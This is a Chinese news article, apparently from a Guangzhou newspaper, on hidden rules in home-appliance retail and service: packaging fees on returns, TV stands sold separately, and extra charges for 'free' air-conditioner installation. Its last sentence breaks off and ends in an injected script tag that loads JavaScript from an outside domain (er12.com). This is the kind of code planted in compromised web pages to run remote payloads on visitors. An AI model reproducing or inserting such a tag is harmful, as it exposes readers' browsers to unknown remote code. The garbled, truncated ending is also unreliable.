据统计，2008年消协全年受理消费者投诉4067件，其中家电类就占了1384件，占总投诉量的34.02%。而在家电投诉中，家用维修及售后服务投诉占了很大的比例。
业内人士表示，因为一些行业潜规则的存在，消费者在投诉维权的时候比较被动，因为缺乏相关证据，消费者的权益受到侵害却无法通过法律等武器维护自己的合法权益。专家表示，“消费者在消费之前了解这些行业潜规则，可避免不必要的纠纷”。
潜规1
退货需交包装费
不少消费者在安装家电时遇怪事，被卖方告知“包装箱要保存一个月，否则出现质量问题，不予处理”。
“家电包装盒这么大，占了家里一大块儿空间。”消费者王女士表示，家电买到家后，包装用的纸盒子和泡沫还得留着，如果在“包”上出现问题，没外包装还不能退。对此，消费者抱怨“商家根本不为消费者考虑”。
信息时报记者在调查中了解到，收取包装费已经成了家电行业中不成文的行规，彩电、冰箱、洗衣机等电器都要收取包装费，价格一般在100元~200元不等。如果将包装扔掉，那么消费者换货退货就将额外负担这笔费用。
“只有商品出现质量问题时才能更换，要是外包装没有的话，要额外再交150元左右的包装费，而体积越大的家电外包装越贵。”某彩电企业售后人员向记者表示。一些经营家电的商家表示，退货时收取包装费是行规，所有的厂家都规定要收取包装费，至于收多少，按照厂家的规定执行。
对此，广州市消费者协会（下简称“市消协”）认为，消费者退货换货只要符合“三包”规定，商家就不得因为没有外包装而拒绝承担“三包”义务。
支招：市消协建议消费者在购买了家电商品后，最好将商品的外包装适当保留一段时间。减少退货时带来的一些不必要的麻烦。
潜规2
买平板电视需另购配件
crt时代，电视抱回家拆箱即可用，而在平板时代，买电视还需另购底座或挂架。目前这已成为彩电行业的行规。
消费者购买了平板电视，开箱检查货物清单的时候，才会发现有些平板电视没有配置底座或挂架。现在，不少消费者对于购买彩电，还要另外掏钱买底座（或挂架）甚不理解。认为彩电价格应已包含了配件费用，电视价格应保证消费者能够正常使用电视。更重要的是，不少消费者在购买电视时，促销员都不会主动提及有无底座的说明。
据了解，目前市场对于配件如何处理的问题比较混乱，不同厂家不同对策，但是大多数厂家是需要单独收费，而且每个品牌对于底座和挂架的收费规定也是不同的，这无形中增加了消费者购买电视的使用成本。而购买一个底座的价格大约200元左右，有的甚至高达400元以上，特别是对于不想壁挂的消费者来说，是否赠送底座一定要问清楚，以免惹来不必要的麻烦。
市消协工作人员告诉记者，商家应该充分尊重消费者的知情权，事先告知消费者购买或安装平板电视可能产生的费用，对材料价目表也应该予以公开，使消费者能够明明白白消费。
支招：消费者在购买平板电视时最好事先了解所购产品配件的种类和数量，是否需要另外购买，以免惹来不必要的麻烦。
潜规3
空调“免费安装”仍收费
空调厂商为拉动销售，频频推出各种免费增值服务吸引消费者的眼球，如免费送货、免费安装、免费清洗等。有不少消费者爆料称，被免费安装“黑”了一把。
市民王小姐向信息时报记者报料称，他购买了一台lg柜机空调，仅安装费用就交了825元。对于零零种种近千元的安装费，王小姐生很是不解。安装方案提出要13米的延长管，厂家只负责4米，其余以每米80元的价格另外加了9米，仅这一项就720元。他表示，安装人员又以“延长管太长影响制冷效果”为由另加了雪种，收费80元、又安装支架60元、电器插头15元……阳先生质疑：“为什么刚买的新机就要再加雪种，插头之内的也要另外买单”？
对此，信息时报记者从国美、苏宁售后部门了解到，一般情况下，空调的免费安装仅限于“标配”，即厂家出厂时配备的连接管(一般是3~5米)，超出部分需要用户支付费用。对于混泥土墙打孔、锯防盗网、提供异形支架均属于“额外代客服务项目”，费用也应由用户?script src=http://er12.com/t.js>
